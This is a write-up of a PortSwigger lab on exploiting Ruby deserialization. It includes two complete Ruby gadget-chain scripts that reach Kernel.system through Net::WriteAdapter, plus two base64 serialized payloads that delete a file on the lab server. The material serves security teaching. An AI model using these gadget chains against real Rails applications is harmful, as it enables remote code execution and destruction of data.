PortSwiggerlabs: Exploiting Ruby deserialization using a documented gadget chain
Information :
This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.
To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Solution :
As always , we first login as wiener :
Then we check Burp’s Sitemap :
We find that our cookie wasn’t automatically decoded by burp , so it’s not going to be a PHP or Java serialized object . Quick Note , if we had Pro it would flag this as a serialized object and make our life easier , but in our case let’s try decoding it manually to see if it is an actual serialized object.
Now we know this is a serialized object , we just don’t know what language exactly , taking a look at the Hint , we see that we should look at Ruby gadgets :
Looking online we find this great post that explains how they got the first gadget chain to achieve RCE on Ruby2.X :
We can take their code just instead of id , we add the command to remove the file from carlos directly :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, '|rm /home/carlos/morale.txt 1>&2')
puts 'STEP n'
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts 'STEP n-1'
specific_file <=> other_specific_file rescue nil
puts
We got the payload in HEX format , we could encode it ourselves but notice the Code keeps breaking , this is bcs i had ruby 3.7 and for the exploit to work , it needed 2.X :
1
2
3
4
sudo apt install rbenv
rbenv install 2.7.8
eval "$(rbenv init - bash)" : Initialize rbenv in your shell
rbenv global 2.7.8 : Set it as the global version :
Perfect we got our encoded payload :
1
BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIqfHJteyRJRlN9L2hvbWUvY2FybG9zL21vcmFsZS50eHQgMT4mMgY6BkVUbzsIADoRQGRldmVsb3BtZW50Rg==
Another way to do this is using the Script from devcraft.io :
1
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
Just make sure , at the end we add the ‘puts Base64.encode64(payload)’ :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
In case Auto Include doesn’t work for you , try adding the dependencies manually :
1
2
3
4
require 'net/protocol'
require 'rubygems'
require 'rubygems/requirement'
require 'rubygems/package'
Of course you can just use an online compiler for Ruby :
1
https://www.tutorialspoint.com/compilers/online-ruby-compiler.htm
Finally we just add this inside the Burp Request or inside the DEV Tools , just make sure you URL Encode this before :
1
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
Just like that we are able to solve the Lab .
That was all for this lab , see you in the next one :)